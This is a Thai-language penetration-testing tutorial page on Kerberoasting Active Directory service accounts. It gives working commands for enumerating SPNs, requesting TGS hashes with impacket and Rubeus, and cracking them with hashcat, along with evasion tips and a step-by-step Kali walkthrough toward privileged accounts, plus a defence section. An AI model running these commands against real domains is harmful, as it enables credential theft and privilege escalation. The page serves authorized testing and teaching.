คลัง
active-directory

Kerberoasting

Kerberoasting เป็นการโจมตี Active Directory ที่ขอ service ticket (TGS) ของบัญชีที่มี SPN แล้วนำส่วนที่เข้ารหัสด้วย NTLM hash ของ service account ไป crack offline เพื่อหารหัสผ่าน เป็นเทคนิคที่ใช้บ่อยที่สุดเพราะ user ธรรมดาที่ auth แล้วก็ทำได้ บทนี้ลงลึกกลไก Kerberos, การหา SPN, การ request, การ crack, OPSEC และการป้องกัน (เนื้อหาเพื่อทดสอบในระบบที่ได้รับอนุญาตเท่านั้น)

IntermediateAdvanced#kerberoasting#active-directory#kerberos#spn#tgs#hashcat#ctf

1. หลักการ — ทำไมถึง crack ได้

ใน Kerberos เมื่อ user ขอเข้าถึง service ที่มี SPN (Service Principal Name) โดเมนจะออก TGS (Ticket Granting Service ticket) ที่บางส่วนถูกเข้ารหัสด้วย NTLM hash ของ service account นั้น จุดอ่อนคือ: ผู้ใช้ที่ auth แล้วคนใดก็ได้ขอ TGS ของ service ใดก็ได้ และโดเมนออกให้โดยไม่ตรวจว่ามีสิทธิ์เข้า service จริงไหม — เราจึงขอ TGS มาแล้ว crack offline หา password ของ service account (ซึ่งมักเป็นบัญชีที่ตั้งรหัสนานไม่เปลี่ยน และบางทีเป็น privileged)

Kerberoasting flow
attacker (any auth user) DC (KDC) Kerberos 1. ขอ TGS สำหรับ SPN (mssqlsvc/srv) 2. TGS เข้ารหัสด้วย NTLM ของ service acct 3. crack offline: hashcat -m 13100 → password ของ service account user ธรรมดาก็ขอได้ — DC ไม่ตรวจสิทธิ์เข้า service จริง
เนื้อหานี้เพื่อการทดสอบเจาะระบบที่ได้รับอนุญาตเป็นลายลักษณ์อักษร (engagement/lab/CTF) เท่านั้น — การโจมตี AD ขององค์กรโดยไม่ได้รับอนุญาตผิดกฎหมาย

2. หาบัญชีที่ Kerberoastable (มี SPN)

หา SPN ด้วย impacket / PowerView / BloodHound
# impacket (จาก Linux, มี credential)
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10
# เฉพาะ list (ยังไม่ request)

# PowerView (บน Windows/โดเมน)
# Get-DomainUser -SPN | select samaccountname,serviceprincipalname

# BloodHound: query "Find Kerberoastable Accounts" (ดูหัวข้อ BloodHound)
# มองหา service account ที่เป็นสมาชิก group สูง (Domain Admins ฯลฯ)
เป้าที่ดี: service account ที่อยู่ใน privileged group — crack ได้ = ได้สิทธิ์สูงทันที

3. Request TGS (หลายเครื่องมือ)

impacket (Linux) — นิยมสุดLinux
# request + dump hash ในคำสั่งเดียว (-request)
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.kerberoast

# เจาะ SPN เฉพาะ
GetUserSPNs.py domain.local/user:password -request-user svc_sql -outputfile hash.txt

# ถ้ามี TGT แล้ว (pass-the-ticket)
export KRB5CCNAME=ticket.ccache
GetUserSPNs.py -k -no-pass domain.local/ -dc-ip 10.10.10.10 -request
-request ดึง TGS hash ออกมาเป็น format ที่ hashcat ใช้ได้เลย (mode 13100)
Rubeus (บน Windows)Windows
# Rubeus — request ทุก SPN
Rubeus.exe kerberoast /outfile:hashes.txt

# เจาะ user เดียว + format hashcat
Rubeus.exe kerberoast /user:svc_sql /format:hashcat /outfile:hash.txt

# OPSEC: เลือกเฉพาะ RC4 (ดู section 5) และหลีกเลี่ยง AES
Rubeus.exe kerberoast /rc4opsec /outfile:hash.txt
Rubeus ทำงาน in-memory บน host ที่อยู่ในโดเมน — สะดวกเมื่อมี shell บน Windows แล้ว

4. Crack offline (hashcat)

crack TGS hashLinux
# Kerberoast = hashcat mode 13100
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt

# + rule (ทรงพลังขึ้น)
hashcat -m 13100 hashes.kerberoast rockyou.txt -r rules/best64.rule

# ดูผล
hashcat -m 13100 hashes.kerberoast --show
# ได้ password ของ service account → ใช้ login/pivot ต่อ
mode 13100 = RC4 TGS (ที่ crack ได้); ดูหัวข้อ Hashcat Playbook สำหรับกลยุทธ์ wordlist/rule
service account มักตั้งรหัสครั้งเดียวแล้วไม่เปลี่ยนหลายปี และบางทีตั้งโดยคน(ไม่ใช่ระบบ) → มีโอกาส crack ด้วย wordlist สูงกว่ารหัส user ทั่วไป

5. OPSEC และ encryption type

TGS เข้ารหัสได้หลายแบบ — RC4 (etype 23) crack ง่ายและเร็ว, AES (etype 17/18) ช้ากว่ามาก ผู้โจมตีมักขอแบบ RC4 แต่การขอ RC4 เป็นสัญญาณที่ระบบตรวจจับได้ (downgrade)

  • RC4 (13100): crack เร็ว — แต่การ request RC4 = red flag สำหรับ defender
  • AES256 (19700) / AES128 (19600): crack ช้ากว่ามาก แต่เนียนกว่า
  • Event 4769: การขอ TGS ถูก log — ขอจำนวนมากพร้อมกัน = น่าสงสัย
  • OPSEC: ขอทีละน้อย, เลี่ยง downgrade RC4 ถ้าไม่จำเป็น, อย่า roast ทุก SPN รวด
  • honey account (SPN ปลอมที่ไม่มีใครใช้) = กับดักตรวจจับ Kerberoasting

6. การป้องกัน

  • ใช้รหัสยาว/ซับซ้อนสำหรับ service account (25+ ตัว) → crack ไม่ไหว
  • ใช้ gMSA/Managed Service Account (รหัสสุ่มยาว เปลี่ยนอัตโนมัติ)
  • บังคับ AES (ปิด RC4) สำหรับ Kerberos
  • monitor Event 4769 ที่ขอ TGS จำนวนมาก/RC4 ผิดปกติ
  • ลด SPN ที่ผูกกับ user account (ใช้ computer account แทนถ้าได้)
  • honey SPN account ดักจับ

7. Quick Reference

  • ขอ TGS ของ SPN → crack offline หา password (user ใดก็ขอได้)
  • หา SPN: GetUserSPNs.py domain/user:pass; BloodHound query
  • request: GetUserSPNs.py ... -request -outputfile hash (impacket)
  • หรือ Rubeus.exe kerberoast /format:hashcat (Windows)
  • crack: hashcat -m 13100 hash rockyou.txt -r best64.rule
  • เป้าดี: service account ใน privileged group
  • OPSEC: RC4 เร็วแต่ red flag; ป้องกัน: gMSA/รหัสยาว/AES/monitor 4769

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติมี credential ผู้ใช้ธรรมดา (หรือ BloodHound ชี้ว่ามี SPN account ในโดเมน) มีแค่ Kali ทำตามนี้ทีละขั้นเพื่อหา service account ที่ crack ได้

  1. 1ยืนยัน credential ใช้ได้: netexec smb <DC_IP> -u user -p pass
  2. 2หาบัญชีที่มี SPN: GetUserSPNs.py domain.local/user:password -dc-ip <DC_IP>
  3. 3ถ้ามี BloodHound แล้ว รัน query 'Find Kerberoastable Accounts' ดูว่ามีบัญชีไหนอยู่ใน privileged group
  4. 4request TGS พร้อม dump hash: GetUserSPNs.py domain.local/user:password -dc-ip <DC_IP> -request -outputfile hashes.kerberoast
  5. 5crack offline: hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt
  6. 6ถ้า crack ไม่ออกด้วย rockyou ลองเพิ่ม rule: hashcat -m 13100 hashes.kerberoast rockyou.txt -r /usr/share/hashcat/rules/best64.rule
  7. 7ดูผล: hashcat -m 13100 hashes.kerberoast --show
  8. 8ได้ password แล้ว → ยืนยัน login ด้วย service account นั้น แล้วรัน BloodHound ซ้ำดูสิทธิ์ใหม่
  9. 9ถ้าไม่มี SPN เลยในโดเมน (ตัน) → ไปลอง AS-REP Roasting หรือหาเทคนิคอื่นแทน
มี creds → หา SPN → crack → ใช้ต่อ
GetUserSPNs.py domain/user:pass -dc-ip DC — เจอ SPN account ไหม
✅ เจอ (มี service account ที่มี SPN)→ request TGS พร้อม dump hash
❌ ไม่เจอเลย→ ไม่มี SPN ให้ roast — ลองทางอื่น
GetUserSPNs.py ... -request -outputfile hashes.kerberoast
✅ ได้ hash→ crack ด้วย hashcat -m 13100
❌ error (สิทธิ์ไม่พอ/ปัญหา Kerberos)→ เช็ค clock skew (ntpdate) แล้วลองใหม่
hashcat -m 13100 hashes.kerberoast rockyou.txt (+rule ถ้าไม่ออก)
✅ crack ออก→ login เป็น service account นั้น แล้วรัน BloodHound ซ้ำ
❌ crack ไม่ออกเลย→ ลอง wordlist/rule อื่น หรือดูว่ามี SPN account อื่นที่ดีกว่านี้ไหม
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
หา SPN accountimpacket (GetUserSPNs.py)pipx install impacket-
ดูกราฟ/เป้าที่ privilegedBloodHoundBloodHound CE (docker compose)bloodhound.readthedocs.io
crack hash (mode 13100)hashcat-hashes.com
wordlist สำหรับ crackrockyou.txt (/usr/share/wordlists)--
ยืนยัน creds ที่ได้netexec (crackmapexec)apt install netexec-
sync เวลากับ DCntpdateapt install ntpdate-
🚑 ถ้าตันสนิท ลองท่าถัดไป: AS-REP Roasting (ไม่มี SPN แต่มี user ที่ปิด pre-auth) · BloodHound (หา service account ที่คุ้มค่าที่สุดหรือ path อื่น) · Hashcat Playbook (crack ไม่ออกต้องปรับ wordlist/rule) · ACL Abuse (ถ้าได้ credential ใหม่แล้วมี write บน object อื่น)

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้